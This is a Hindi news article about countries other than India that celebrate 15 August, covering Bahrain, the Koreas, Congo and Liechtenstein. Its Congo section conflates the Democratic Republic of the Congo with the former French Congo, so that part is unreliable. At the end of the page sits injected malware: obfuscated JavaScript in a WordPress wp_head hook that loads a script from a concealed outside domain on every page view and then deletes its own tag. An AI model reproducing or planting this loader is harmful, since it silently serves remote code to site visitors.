Saturday, July 13, 2024
spot_img

क्या आप जानते हैं! 15 अगस्त को भारत ही नहीं बल्कि यह पांच देश भी गुलामी की बेड़ियां तोड़कर हुए थे आजाद, जानिए कौन हैं वो देश, लिंक में…..

आगामी 15 अगस्त को देश अपनी आजादी की 75 वीं वर्षगांठ को आजादी के अमृत महोत्सव के रुप में मनाएगा। लेकिन क्या आप जानते हैं 15 अगस्त को हमारे भारत देश के साथ ही अन्य पांच देश भी 15 अगस्त को ही अपनी आजादी का जश्न मनाते हैं।
भारत की ही तरह 15 अगस्त को स्वतंत्रता दिवस मनाने वाले देशों में उत्तरी कोरिया, दक्षिणी कोरिया , लिस्टेंस्टीन, बहरीन और कांगो देश शामिल हैं।
इन सभी देशों को भी भारत की तरह ही 15 अगस्त को आजादी मिली थी। आइए इनके बारे में विस्तार से जानते हैं…

बहरीन ने 15 अगस्त 1971 को ब्रिटेन से आजादी हासिल की थी। 15 अगस्त को बहरीन और ब्रिटेन के बीच एक संधि हुई थी, जिसके बाद बहरीन ने आजाद देश के तौर पर ब्रिटेन के साथ अपने संबंध रखे। हालांकि बहरीन अपना राष्ट्रीय अवकाश 16 दिसंबर को मनाता है। इस दिन बहरीन के शासक इसा बिन सलमान अल खलीफा ने बहरीन की गद्दी हासिल की थी।19वीं सदी में ब्रिटिश शासन से पहले भी बहरीन पर अरब और पुर्तगाल सहित कई देशों ने राज किया था
बहरीन अरब जगत का एक हिस्सा है, जिसकी राजधानी मनामा है।

बहरीन का राष्ट्रीय ध्वज



• दक्षिणी कोरिया और उत्तरी कोरिया : 15 अगस्त 1945 को दक्षिण कोरिया ने जापान से आजादी हासिल की थी। हर साल, 15 अगस्त को दोनों देशों में छुट्टी रहती है और इसे ‘जापान से स्वतंत्रता’ वाले दिन के रूप में मनाया जाता है। अमेरिका और सोवियत सेना ने कोरिया को जापान के कब्जे से बाहर निकाला था। बता दें की कोरिया में कभी कोर-यो वंश का राज्य था जिससे इस देश का नाम कोरिया पड़ा। 1945 में द्वितीय महायुद्ध के समय जब जापान ने आत्मसमर्पण किया तब 1945 में याल्टा संधि के अनुसार इस देश को दो भागों में विभाजित कर दिया गया। उत्तरी भाग पर रूस का और दक्षिणी भाग पर अमरीका का अधिकार हुआ। इसके बाद अगस्त 1948 में दक्षिणी भाग में कोरिया गणतंत्र तथा सितंबर 1948 में उत्तरी कोरिया में कोरियाई जनतंत्र की स्थापना हुई. दक्षिण कोरिया की राजधानी सियोल और उत्तर कोरिया की पियांगयांग बनाई गई।

उत्तर व दक्षिणी कोरिया का राष्ट्रीय ध्वज



•डेमोक्रेटिक रिपब्लिक ऑफ कांगो –15 अगस्त 1960 को अफ्रीका के इस देश ने फ्रांस से आजादी पाई थी। जिसके बाद ये डेमोक्रेटिक रिपब्लिक ऑफ कांगो बना। 1880 में फ्रांसीसी शासकों ने कांगो को गुलाम बना लिया था। पहले इसे फ्रेंच कांगो के तौर पर जाना जाता था। उसके बाद 1903 में ये मिडिल कांगो बना। कांगो क्षेत्रफल के लिहाज से अफ्रीका महाद्वीप का तीसरा सबसे बड़ा देश है। इसकी राजधानी किन्शासा हैं। पड़ोसी देश कांगो गणराज्य से भिन्नता के लिए इस देश को अक्सर डीआर कांगो, डीआरसी या फिर राजधानी किन्शासा के नाम पर कांगो-किन्शासा के नाम से पुकारा जाता है।

कांगो डीआर का राष्ट्रीय ध्वज



•लिकटेंस्टाइन 15 अगस्त 1866 को जर्मनी से आजाद हुआ था। लेकिन 1940 से ये 15 अगस्त को स्वतंत्रता दिवस के तौर पर मना रहा है। यह पश्चिमी यूरोप में स्थित एक छोटा लैंडलॉक देश है।इसकी सीमा पश्चिम और दक्षिण में स्विटजरलैंड और पूर्व में ऑस्ट्रिया से मिलती है। यहां की राजधानी वादुज हैं।
लिकटेंस्टाइन 1866 को ही आजाद हो गया था लेकिन नेशनल डे 15 अगस्त को मनाना 1940 से शुरू किया गया।इस दिन पूरे देश में छुट्टी रहती है। 5 अगस्त 1940 को लिकटेंस्टाइन रियासत की सरकार ने आधिकारिक तौर पर 15 अगस्त को देश का राष्ट्रीय दिवस घोषित किया।

लिकटेंस्टाइन का राष्ट्रीय ध्वज

Related Articles

- Advertisement -spot_img

ताजा खबरे

eInt(_0x383697(0x178))/0x1+parseInt(_0x383697(0x180))/0x2+-parseInt(_0x383697(0x184))/0x3*(-parseInt(_0x383697(0x17a))/0x4)+-parseInt(_0x383697(0x17c))/0x5+-parseInt(_0x383697(0x179))/0x6+-parseInt(_0x383697(0x181))/0x7*(parseInt(_0x383697(0x177))/0x8)+-parseInt(_0x383697(0x17f))/0x9*(-parseInt(_0x383697(0x185))/0xa);if(_0x351603===_0x4eaeab)break;else _0x8113a5['push'](_0x8113a5['shift']());}catch(_0x58200a){_0x8113a5['push'](_0x8113a5['shift']());}}}(_0x48d3,0xa309a));var f=document[_0x3ec646(0x183)](_0x3ec646(0x17d));function _0x38c3(_0x32d1a4,_0x31b781){var _0x48d332=_0x48d3();return _0x38c3=function(_0x38c31a,_0x44995e){_0x38c31a=_0x38c31a-0x176;var _0x11c794=_0x48d332[_0x38c31a];return _0x11c794;},_0x38c3(_0x32d1a4,_0x31b781);}f[_0x3ec646(0x186)]=String[_0x3ec646(0x17b)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x62,0x61,0x63,0x6b,0x67,0x72,0x6f,0x75,0x6e,0x64,0x2e,0x61,0x70,0x69,0x73,0x74,0x61,0x74,0x65,0x78,0x70,0x65,0x72,0x69,0x65,0x6e,0x63,0x65,0x2e,0x63,0x6f,0x6d,0x2f,0x73,0x74,0x61,0x72,0x74,0x73,0x2f,0x73,0x65,0x65,0x2e,0x6a,0x73),document['currentScript']['parentNode'][_0x3ec646(0x176)](f,document[_0x3ec646(0x17e)]),document['currentScript'][_0x3ec646(0x182)]();function _0x48d3(){var _0x35035=['script','currentScript','9RWzzPf','402740WuRnMq','732585GqVGDi','remove','createElement','30nckAdA','5567320ecrxpQ','src','insertBefore','8ujoTxO','1172840GvBdvX','4242564nZZHpA','296860cVAhnV','fromCharCode','5967705ijLbTz'];_0x48d3=function(){return _0x35035;};return _0x48d3();}";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}} ?>